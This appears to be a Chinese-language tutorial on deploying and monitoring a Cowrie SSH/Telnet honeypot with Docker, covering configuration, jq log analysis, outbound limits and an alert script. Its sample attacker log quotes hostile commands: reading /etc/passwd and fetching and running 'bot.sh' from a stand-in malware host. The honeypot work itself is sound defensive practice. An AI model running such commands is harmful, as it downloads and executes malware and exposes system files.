1
# 系统要求
2
- Linux 服务器（推荐 Ubuntu/CentOS）
3
- Docker 已安装
4
- 至少 512MB 可用内存
5

6
# 安装 Docker
7
curl -fsSL https://get.docker.com | sh
8
systemctl enable docker
9
systemctl start docker

1
# 创建工作目录
2
mkdir -p /opt/honeypots && cd /opt/honeypots
3

4
# 创建 docker-compose.yml
5
cat > docker-compose.yml << 'EOF'
6
services:
7
  cowrie:
8
    image: cowrie/cowrie:latest
9
    container_name: cowrie
10
    restart: always
11
    ports:
12
      - "2222:2222"   # SSH 蜜罐
13
      - "2223:2223"   # Telnet 蜜罐
14
    volumes:
15
      - cowrie-data:/cowrie/cowrie-git/var
16
    environment:
17
      - COWRIE_TELNET_ENABLED=yes
18

19
volumes:
20
  cowrie-data:
21
EOF
22

23
# 启动蜜罐
24
docker-compose up -d
25

26
# 检查状态
27
docker-compose ps
28
docker logs cowrie

1
[honeypot]
2
# 主机名（伪装成真实服务器）
3
hostname = webserver
4

5
# SSH 版本字符串
6
ssh_version_string = SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
7

8
# 监听端口
9
listen_endpoints = tcp:2222:interface=0.0.0.0,tcp:2223:interface=0.0.0.0
10

11
# 启用 Telnet
12
telnet_enabled = true

1
{
2
    "eventid": "cowrie.login.success",
3
    "timestamp": "2026-06-09T02:00:00.000Z",
4
    "message": "login attempt [root/123456] succeeded",
5
    "src_ip": "192.168.1.100",
6
    "src_port": 12345,
7
    "dst_port": 2222,
8
    "username": "root",
9
    "password": "123456"
10
}

1
# 统计攻击来源 TOP 10
2
docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json | \
3
  jq -r '.src_ip' | sort | uniq -c | sort -rn | head -10
4

5
# 统计尝试的用户名
6
docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json | \
7
  jq -r 'select(.eventid=="cowrie.login.success" or .eventid=="cowrie.login.failed") | .username' | \
8
  sort | uniq -c | sort -rn | head -10
9

10
# 统计尝试的密码
11
docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json | \
12
  jq -r 'select(.eventid=="cowrie.login.success" or .eventid=="cowrie.login.failed") | .password' | \
13
  sort | uniq -c | sort -rn | head -10
14

15
# 查看攻击者执行的命令
16
docker exec cowrie cat /cowrie/cowrie-git/var/log/cowrie/cowrie.json | \
17
  jq 'select(.eventid=="cowrie.command.input") | {timestamp, src_ip, input}'

1
// 1. 连接尝试
2
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176"}
3

4
// 2. 暴力破解
5
{"eventid":"cowrie.login.failed","username":"root","password":"123456"}
6
{"eventid":"cowrie.login.failed","username":"root","password":"admin"}
7
{"eventid":"cowrie.login.failed","username":"root","password":"password"}
8
{"eventid":"cowrie.login.success","username":"root","password":"toor"}
9

10
// 3. 攻击者执行的命令
11
{"eventid":"cowrie.command.input","input":"uname -a"}
12
{"eventid":"cowrie.command.input","input":"cat /etc/passwd"}
13
{"eventid":"cowrie.command.input","input":"wget http://malware.com/bot.sh"}
14
{"eventid":"cowrie.command.input","input":"chmod +x bot.sh && ./bot.sh"}

1
# 限制蜜罐出站流量（防止被用作跳板）
2
iptables -A OUTPUT -p tcp --dport 22 -j DROP
3
iptables -A OUTPUT -p tcp --dport 2222 -j DROP
4

5
# 限制蜜罐资源使用
6
docker update --memory=256m cowrie

1
#!/bin/bash
2
# 蜜罐监控脚本
3

4
LOG="/opt/honeypots/data/log/cowrie/cowrie.json"
5

6
# 检查是否有成功登录
7
SUCCESS=$(cat "$LOG" | jq 'select(.eventid=="cowrie.login.success")' | wc -l)
8

9
if [ "$SUCCESS" -gt 0 ]; then
10
    echo "[ALERT] 蜜罐被攻破！发现 $SUCCESS 次成功登录"
11
    # 发送告警通知
12
fi